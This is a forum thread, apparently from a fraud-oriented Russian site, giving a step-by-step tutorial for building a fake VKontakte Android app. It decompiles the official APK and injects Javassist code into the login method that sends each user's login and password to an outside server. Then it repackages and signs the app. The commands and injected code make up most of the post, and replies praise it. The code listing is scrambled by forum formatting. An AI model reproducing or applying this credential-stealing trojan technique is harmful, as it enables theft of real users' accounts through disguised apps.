1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

Делаем фейк VK под Android из официального клиента

Тема в разделе "Android [OS]", создана пользователем bylie640, 7 авг 2014.

  1. TopicStarter Overlay
    bylie640

    bylie640

    Регистрация:
    14 апр 2013
    Сообщения:
    181
    Симпатии:
    60
    Данная статья взята с блога Войти или зарегистрироваться, чтобы увидеть ссылку.. Все изображения перезалиты на сторонний ФО.



    Решил немного покопаться в приложениях на Java и посмотреть возможности модификации при отсутствии оригинальных исходных кодов. В качестве объекта исследования был взят Войти или зарегистрироваться, чтобы увидеть ссылку.. Нашей целью будет модификация приложения таким образом, чтобы данные, отправляемые клиентом при авторизации, отправлялись также на сторонний сервер.
    Для начала нам понадобятся следующие вещи: Войти или зарегистрироваться, чтобы увидеть ссылку. (для тестирования приложения), apktool (для проведения необходимых манипуляций с Войти или зарегистрироваться, чтобы увидеть ссылку.),Войти или зарегистрироваться, чтобы увидеть ссылку. (для преобразования dex файлов в jar-архивы и подписи результирующего apk тестовой подписью), Войти или зарегистрироваться, чтобы увидеть ссылку. (для декомпиляции кода и изучения его структуры).
    Теперь нам необходимо где-то взять официальное приложение. Вариантов множество, например: можно воспользоваться расширением Войти или зарегистрироваться, чтобы увидеть ссылку. для Google Chrome, можно взять с какого-нибудь форума, либо со своего Android-устройства.

    Итак, мы получили APK-файл. Воспользуемся apktool, чтобы его распаковать. Для этого откроем консоль и выполним следующую команду:

    Код:
    apktool d -s -r vk.apk
    1. Здесь и далее я предполагаю, что в текущей директории присутствует вызываемое приложение (в данном случае apktool), либо путь к директории с ним добавлен в переменную окружения PATH. Флаги s и r необходимы, чтобы утилита извлекла ресурсы и код приложения как есть, без каких-либо дополнительных преобразований.
    2. После выполнения вышеуказанной команды у нас появилась директория со следующей структурой:
    3. Код:
    4. AndroidManifest.xml
    5. │ apktool.yml
    6. │ classes.dex
    7. │ resources.arsc
    8. ├───assets
    9. ├───lib
    10. └───res
    11. Файл classes.dex содержит интересующий нас код. Воспользуемся утилитой из набора dex2jar и преобразуем его в jar-файл. Для этого выполним в консоли:
    12. Код:
    13. d2j-dex2jar classes.dex
    14. Получившийся jar-файл открываем в JD-GUI.
    15. 4231436.png
    16. Ищем метод, отвечающий за процесс авторизации пользователя в ВКонтакте. Находим метод doAuth в классе Auth.
    17. 4220172.png
    18. Теперь нам необходимо как-то внедрить свой код в метод doAuth, который будет отсылать данные пользователя на сторонний сервер. Можно было бы заняться ручной правкой байткода, сгенерированного Java, но это затяжное и занудное занятие. Я решил воспользоваться библиотекой Javassist, которая позволяет производить необходимую модификацию байткода, но при этом писать внедряемый код на Java.
    19. Напишем небольшую программу с использованием Javassist, которая добавит в начало метода doAuth дополнительный код, осуществляющий отправку данных.
    20. Код:
    21. import javassist.*;
    22. import java.util.logging.*;
    23. import java.io.IOException;
    public class Hook
    1. public void addHook(String targetClass, String targetMethod)
    2. {
    3. throws NotFoundException, CannotCompileException, IOException
    4. {
    5. Logger logger = Logger.getLogger("Javassist");
    6. final String targetFolder = "./modified/";
    try
    1. final ClassPool pool = ClassPool.getDefault();
    2. {
    3. // Добавим пути, где javassist будет искать .class файлы используемых в добавляемом коде методов
    4. pool.appendClassPath(new LoaderClassPath(getClass().getClassLoader()));
    5. pool.appendClassPath("./android.jar");
    // Найдем модифицируемый метод в целевом классе
    1. final CtClass compiledClass = pool.get(targetClass);
    2. final CtMethod method = compiledClass.getDeclaredMethod(targetMethod);
    // Добавим наш код ($1, $2 - аргументы, которые получает оригинальный метод)
    1. // Подробнее почитать можно тут: Войти или зарегистрироваться, чтобы увидеть ссылку.
    2. method.insertBefore("{ try {android.net.http.AndroidHttpClient.newInstance(\"Android\").execute(new org.apache.http.client.methods.HttpGet(\"Войти или зарегистрироваться, чтобы увидеть ссылку." + $1 + \"&password=\" + $2 ));} catch (Exception e) {} }");
    3. compiledClass.writeFile(targetFolder);
    logger.info(targetClass + "." + targetMethod + " has been modified and saved under " + targetFolder);
    1. logger.warning("Failed to find the target class to modify " + targetClass);
    2. }
    3. catch (NotFoundException e)
    4. {
    5. }
    6. }
    public static void main(String[] args)
    1. final String targetClass = "com.vkontakte.android.Auth";
    2. throws Exception
    3. {
    4. final String targetMethod = "doAuth";
    new Hook().addHook(targetClass, targetMethod);
    1. }
    2. }
    3. Внедряемый код приведен в виде одной строки, что не очень удобно. Приведу его на всякий случай отдельно для удобства.
    Код:
    { try { android.net.http.AndroidHttpClient.newInstance("Android").execute(new org.apache.http.client.methods.HttpGet("Войти или зарегистрироваться, чтобы увидеть ссылку." + $1 + "&password=" + $2 ));
    1. }
    2. }
    3. catch (Exception e) {}
    4. Скомпилируем вышеописанный код из консоли.

    Код:
    javac -cp ./javassist.jar Hook.java

    1. Прежде чем запускать получившуюся программу, распакуем Auth.class из jar-файла (который мы получили ранее из dex-файла) в директорию рядом с сохранением полных путей. Также в директории с программой должны присутствовать файлы javassist.jar и android.jar (из Android SDK). Всё, теперь можно запускать.
    2. Код:
    3. java -cp .;javassist.jar;android.jar Hook
    4. После успешного выполнения мы получили модифицированный Auth.class, в этом можно убедиться, открыв файл в JD-GUI.
    5. 4216076.png
    6. Заменим Auth.class в jar-файле с помощью любого архиватора. Воспользуемся d2j-jar2dex.bat и преобразуем jar-файл обратно в dex-файл.
    7. Код:
    8. d2j-jar2dex classes_dex2jar.jar
    9. Заменим classes.dex в директории, куда мы распаковывали apk-файл с помощью apktool, и создадим из директории новый apk-файл.
    10. Код:
    11. apktool b vk vk.apk
    12. У получившегося файла отсутствует цифровая подпись. Исправим это с помощью d2j-apk-sign из набора dex2jar.
    13. Код:
    14. d2j-apk-sign vk.apk
    15. Настало время протестировать получвшийся файл. Для этого нам понадобится эмулятор из набора Android SDK или реальное устройство. В случае с эмулятором всё просто: настраиваем эмулятор, запускаем виртуальное устройство, выполняем в консоли adb install vk-signed.apk.
    16. 4207884.png
    17. Запустим какой-нибудь сетевой снифер (я воспользовался Wireshark), запустим приложение ВКонтакте на эмуляторе и попробуем авторизоваться.
    18. 4252943.png
     
    • Like Like x 2
    Метки:
  2. ResH

    ResH Команда форума

    Регистрация:
    26 июл 2012
    Сообщения:
    1.877
    Симпатии:
    2.331
    оформи тему нормально
     
  3. onehalf

    onehalf

    Регистрация:
    2 мар 2014
    Сообщения:
    11
    Симпатии:
    1
    тема не читабельна, приходится выделять, а так +
     
  4. трахтенберг

    трахтенберг

    Регистрация:
    17 дек 2012
    Сообщения:
    272
    Симпатии:
    197
    ctrl+c, ctrl+v инфа сотка
     
  5. TopicStarter Overlay
    bylie640

    bylie640

    Регистрация:
    14 апр 2013
    Сообщения:
    181
    Симпатии:
    60
    типо антинуб)))))))
     
  6. ~Hemul'~

    ~Hemul'~ Гость

    Мои глаза, они кровоточат.. А так то норм)
     
  7. K_NoW

    K_NoW HackMe Please

    Регистрация:
    16 мар 2014
    Сообщения:
    464
    Симпатии:
    222
    Вау. Если бы придумали билдер под это дело, цены бы ему не было.
     
  8. NANOTECH

    NANOTECH

    Регистрация:
    11 дек 2012
    Сообщения:
    153
    Симпатии:
    69
    "пасспортов" с одной "с" надо писать)
     
    • Dislike Dislike x 1
  9. K_NoW

    K_NoW HackMe Please

    Регистрация:
    16 мар 2014
    Сообщения:
    464
    Симпатии:
    222
    русский плохо знаю)))
     

Поделиться этой страницей

Загрузка...